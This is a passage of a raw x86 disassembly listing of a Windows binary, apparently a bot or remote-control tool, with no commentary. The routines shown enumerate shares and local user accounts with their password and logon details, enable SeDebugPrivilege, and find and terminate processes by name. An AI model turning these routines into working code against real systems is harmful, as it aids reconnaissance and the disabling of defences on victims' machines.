push esi
push edi
push [ebp+arg_C]
call sub_41335C
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 18h
loc_4133F9: ; CODE XREF: sub_4133C0+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_43A2E4
mov ebx, eax
cmp ebx, esi
jz short loc_41345C
cmp ebx, 0EAh
jz short loc_41345C
push ebx
push ebx
call sub_413B75
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_436D94
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 24h
jmp short loc_4134C9
; ---------------------------------------------------------------------------
loc_41345C: ; CODE XREF: sub_4133C0+5Dj
; sub_4133C0+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4134C0
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_41346A: ; CODE XREF: sub_4133C0+FCj
push dword ptr [esi+10h]
call dword_43A28C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_413481
mov eax, offset aNo ; "No"
loc_413481: ; CODE XREF: sub_4133C0+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_41346A
xor esi, esi
loc_4134C0: ; CODE XREF: sub_4133C0+A2j
push [ebp+var_4]
call dword_43A428
loc_4134C9: ; CODE XREF: sub_4133C0+9Aj
cmp ebx, 0EAh
jz loc_4133F9
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4133C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134E1 proc near ; CODE XREF: sub_40CE55:loc_40EEE5p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_413585
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_413523
dec eax
jz short loc_413518
dec eax
jnz short loc_41353E
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_413627
add esp, 14h
jmp short loc_41353A
; ---------------------------------------------------------------------------
loc_413518: ; CODE XREF: sub_4134E1+1Dj
push ebx
push edi
call sub_413606
pop ecx
pop ecx
jmp short loc_41353A
; ---------------------------------------------------------------------------
loc_413523: ; CODE XREF: sub_4134E1+1Aj
cmp [ebp+arg_8], edi
jz short loc_413537
push [ebp+arg_8]
push ebx
push edi
call sub_4135AC
add esp, 0Ch
jmp short loc_41353A
; ---------------------------------------------------------------------------
loc_413537: ; CODE XREF: sub_4134E1+45j
push 57h
pop eax
loc_41353A: ; CODE XREF: sub_4134E1+35j
; sub_4134E1+40j ...
cmp eax, edi
jnz short loc_41355E
loc_41353E: ; CODE XREF: sub_4134E1+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_468E60
push off_43662C[eax*4]
push offset dword_436E84
push esi
call sub_4154E7
add esp, 10h
jmp short loc_4135A5
; ---------------------------------------------------------------------------
loc_41355E: ; CODE XREF: sub_4134E1+5Bj
push eax
call sub_413B75
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_468E60
push off_436628[eax*4]
push offset dword_436E44
push esi
call sub_4154E7
add esp, 18h
jmp short loc_4135A5
; ---------------------------------------------------------------------------
loc_413585: ; CODE XREF: sub_4134E1+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_468E60
lea eax, [eax+eax*2]
push off_436628[eax*4]
push offset dword_436E08
push esi
call sub_4154E7
add esp, 0Ch
loc_4135A5: ; CODE XREF: sub_4134E1+7Bj
; sub_4134E1+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4134E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135AC proc near ; CODE XREF: sub_4134E1+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_41335C
push [ebp+arg_4]
mov edi, eax
call sub_41335C
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_41335C
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_43A27C
pop edi
leave
retn
sub_4135AC endp
; =============== S U B R O U T I N E =======================================
sub_413606 proc near ; CODE XREF: sub_4134E1+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41335C
push [esp+8+arg_4]
mov esi, eax
call sub_41335C
pop ecx
pop ecx
push eax
push esi
call dword_43A26C
pop esi
retn
sub_413606 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413627 proc near ; CODE XREF: sub_4134E1+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_41335C
push [ebp+arg_4]
mov esi, eax
call sub_41335C
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_43A3F0
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4139B4
mov eax, [ebp+var_4]
test eax, eax
jz loc_4139EF
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_4154E7
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_413740
dec eax
jz short loc_413739
dec eax
jz short loc_413732
mov eax, offset aUnknown ; "Unknown"
jmp short loc_413745
; ---------------------------------------------------------------------------
loc_413732: ; CODE XREF: sub_413627+102j
mov eax, offset aAdministrato_0 ; "Administrator"
jmp short loc_413745
; ---------------------------------------------------------------------------
loc_413739: ; CODE XREF: sub_413627+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_413745
; ---------------------------------------------------------------------------
loc_413740: ; CODE XREF: sub_413627+FCj
mov eax, offset aGuest ; "Guest"
loc_413745: ; CODE XREF: sub_413627+109j
; sub_413627+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
add esp, 20h
pop edi
pop ebx
jmp short loc_4139E0
; ---------------------------------------------------------------------------
loc_4139B4: ; CODE XREF: sub_413627+35j
push eax
lea eax, [ebp+var_204]
push offset dword_436EB8
push eax
call sub_4154E7
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_412D4C
add esp, 20h
loc_4139E0: ; CODE XREF: sub_413627+38Bj
cmp [ebp+var_4], 0
jz short loc_4139EF
push [ebp+var_4]
call dword_43A428
loc_4139EF: ; CODE XREF: sub_413627+40j
; sub_413627+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_413627 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4139F5 proc near ; CODE XREF: sub_40CE55+20BCp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_41335C
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 18h
loc_413A34: ; CODE XREF: sub_4139F5+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_43A300
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_413A95
cmp eax, 0EAh
jz short loc_413A95
push eax
push eax
call sub_413B75
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_4370C0
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 24h
jmp short loc_413B10
; ---------------------------------------------------------------------------
loc_413A95: ; CODE XREF: sub_4139F5+62j
; sub_4139F5+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_413B23
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_413B10
loc_413AA7: ; CODE XREF: sub_4139F5+EDj
cmp edi, esi
jz short loc_413AE6
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_5 ; " %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_413AA7
jmp short loc_413B10
; ---------------------------------------------------------------------------
loc_413AE6: ; CODE XREF: sub_4139F5+B4j
lea eax, [ebp+var_218]
push offset dword_437078
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 1Ch
loc_413B10: ; CODE XREF: sub_4139F5+9Ej
; sub_4139F5+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_413B23
push edi
call dword_43A428
xor edi, edi
mov [ebp+var_4], edi
loc_413B23: ; CODE XREF: sub_4139F5+A5j
; sub_4139F5+120j
cmp [ebp+var_C], 0EAh
jz loc_413A34
cmp edi, esi
jz short loc_413B3B
push edi
call dword_43A428
loc_413B3B: ; CODE XREF: sub_4139F5+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4139F5 endp
; =============== S U B R O U T I N E =======================================
sub_413B75 proc near ; CODE XREF: sub_4131CB+41p
; sub_4133C0+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_413C27
jz loc_413C20
cmp eax, 7Bh
ja short loc_413BEC
jz short loc_413BE2
cmp eax, 5
jz short loc_413BD8
cmp eax, 8
jz short loc_413BCE
cmp eax, 32h
jz short loc_413BC4
cmp eax, 35h
jz short loc_413BBA
cmp eax, 57h
jnz loc_413C76
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BBA: ; CODE XREF: sub_413B75+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BC4: ; CODE XREF: sub_413B75+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BCE: ; CODE XREF: sub_413B75+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BD8: ; CODE XREF: sub_413B75+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BE2: ; CODE XREF: sub_413B75+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BEC: ; CODE XREF: sub_413B75+1Aj
sub eax, 7Ch
jz short loc_413C19
sub eax, 7C8h
jz short loc_413C12
dec eax
jz short loc_413C08
dec eax
jnz short loc_413C76
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413C08: ; CODE XREF: sub_413B75+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413C12: ; CODE XREF: sub_413B75+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C19: ; CODE XREF: sub_413B75+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C20: ; CODE XREF: sub_413B75+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C27: ; CODE XREF: sub_413B75+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_413C60
jz short loc_413C59
sub eax, 8ADh
jz short loc_413C8B
dec eax
dec eax
jz short loc_413C52
dec eax
jz short loc_413C4B
dec eax
dec eax
jnz short loc_413C76
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C4B: ; CODE XREF: sub_413B75+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C52: ; CODE XREF: sub_413B75+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C59: ; CODE XREF: sub_413B75+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C60: ; CODE XREF: sub_413B75+B9j
sub eax, 8CAh
jz short loc_413C92
sub eax, 17h
jz short loc_413C8B
sub eax, 25h
jz short loc_413C84
sub eax, 29h
jz short loc_413C7D
loc_413C76: ; CODE XREF: sub_413B75+35j
; sub_413B75+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C7D: ; CODE XREF: sub_413B75+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C84: ; CODE XREF: sub_413B75+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C8B: ; CODE XREF: sub_413B75+C2j
; sub_413B75+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C92: ; CODE XREF: sub_413B75+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_413C97: ; CODE XREF: sub_413B75+40j
; sub_413B75+4Aj ...
push offset dword_468C00
call sub_4154E7
pop ecx
mov eax, offset dword_468C00
pop ecx
retn
sub_413B75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CA9 proc near ; CODE XREF: sub_40CE55+20FBp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_4179F9
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_42113C ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_4179F9
lea eax, [ebp+var_718]
push eax
call sub_4179DC
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_43A3A8
test eax, eax
jnz short loc_413D39
mov esi, offset dword_4689FC
push offset dword_437418
push esi
call sub_4154E7
pop ecx
pop ecx
jmp short loc_413D62
; ---------------------------------------------------------------------------
loc_413D39: ; CODE XREF: sub_413CA9+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_413B75
pop ecx
mov esi, offset dword_4689FC
push eax
push offset dword_4373DC
push esi
call sub_4154E7
add esp, 14h
loc_413D62: ; CODE XREF: sub_413CA9+8Ej
mov eax, esi
pop esi
leave
retn
sub_413CA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413D67 proc near ; CODE XREF: sub_409DF3+7p
; sub_413DD2+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_421104 ; GetCurrentProcess
push eax
call dword_43A37C
test eax, eax
jnz short loc_413D86
leave
retn
; ---------------------------------------------------------------------------
loc_413D86: ; CODE XREF: sub_413D67+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_43A354
test eax, eax
jz short loc_413DC4
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_413DAD
or [ebp+var_8], 2
jmp short loc_413DB1
; ---------------------------------------------------------------------------
loc_413DAD: ; CODE XREF: sub_413D67+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_413DB1: ; CODE XREF: sub_413D67+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_43A404
mov esi, eax
loc_413DC4: ; CODE XREF: sub_413D67+32j
push [ebp+var_4]
call dword_42106C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_413D67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413DD2 proc near ; CODE XREF: sub_40CE55+47D9p
; sub_413F83+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_43A3B8, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_413F7C
cmp dword_43A39C, ebx
jz loc_413F7C
cmp dword_43A2B8, ebx
jz loc_413F7C
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413D67
pop ecx
pop ecx
push ebx
push 0Fh
call dword_43A3B8
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_413F6F
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_43A39C
mov esi, dword_42106C
test eax, eax
jz loc_413F6A
loc_413E75: ; CODE XREF: sub_413DD2+BEj
; sub_413DD2+CCj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_43A2B8
test eax, eax
jz loc_413F6A
cmp [ebp+arg_10], ebx
jnz short loc_413E75
cmp [ebp+arg_C], ebx
jnz loc_413F22
cmp [ebp+arg_4], ebx
jz short loc_413E75
push [ebp+var_124]
push 8
call dword_43A3B8
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_413EDF
lea eax, [ebp+var_350]
push eax
push edi
call dword_43A264
push [ebp+var_124]
test eax, eax
jz short loc_413EE5
lea eax, [ebp+var_230]
jmp short loc_413EEB
; ---------------------------------------------------------------------------
loc_413EDF: ; CODE XREF: sub_413DD2+EBj
push [ebp+var_124]
loc_413EE5: ; CODE XREF: sub_413DD2+103j
lea eax, [ebp+var_108]
loc_413EEB: ; CODE XREF: sub_413DD2+10Bj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_4154E7
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
push edi
call esi ; CloseHandle
jmp loc_413E75
; ---------------------------------------------------------------------------
loc_413F22: ; CODE XREF: sub_413DD2+C3j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_413E75
push [ebp+var_124]
push ebx
push 1F0FFFh
call dword_42111C ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi ; CloseHandle
push ebx
push edi
call dword_421140 ; TerminateProcess
test eax, eax
jnz short loc_413F65
push edi
call esi ; CloseHandle
jmp short loc_413F7C
; ---------------------------------------------------------------------------
loc_413F65: ; CODE XREF: sub_413DD2+18Cj
push 1
pop eax
jmp short loc_413F7E
; ---------------------------------------------------------------------------
loc_413F6A: ; CODE XREF: sub_413DD2+9Dj
; sub_413DD2+B5j
push [ebp+var_4]
call esi ; CloseHandle
loc_413F6F: ; CODE XREF: sub_413DD2+75j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413D67
pop ecx
pop ecx
loc_413F7C: ; CODE XREF: sub_413DD2+3Aj
; sub_413DD2+46j ...
xor eax, eax
loc_413F7E: ; CODE XREF: sub_413DD2+196j
pop edi
pop esi
pop ebx
leave
retn
sub_413DD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F83 proc near ; DATA XREF: sub_40CE55+538Do
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_4374E8
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_4154E7
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_413FE2
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412D4C
add esp, 14h
loc_413FE2: ; CODE XREF: sub_413F83+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_413DD2
add esp, 18h
test eax, eax
jnz short loc_41400A
push offset dword_4374AC
jmp short loc_41400F
; ---------------------------------------------------------------------------
loc_41400A: ; CODE XREF: sub_413F83+7Ej
push offset dword_437474
loc_41400F: ; CODE XREF: sub_413F83+85j
lea eax, [ebp+var_298]
push eax
call sub_4154E7
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_414042
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412D4C
add esp, 14h
loc_414042: ; CODE XREF: sub_413F83+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40B16D
push [ebp+var_14]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_413F83 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_414061 proc near ; CODE XREF: sub_40CE55+477Bp
; sub_4150CE+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
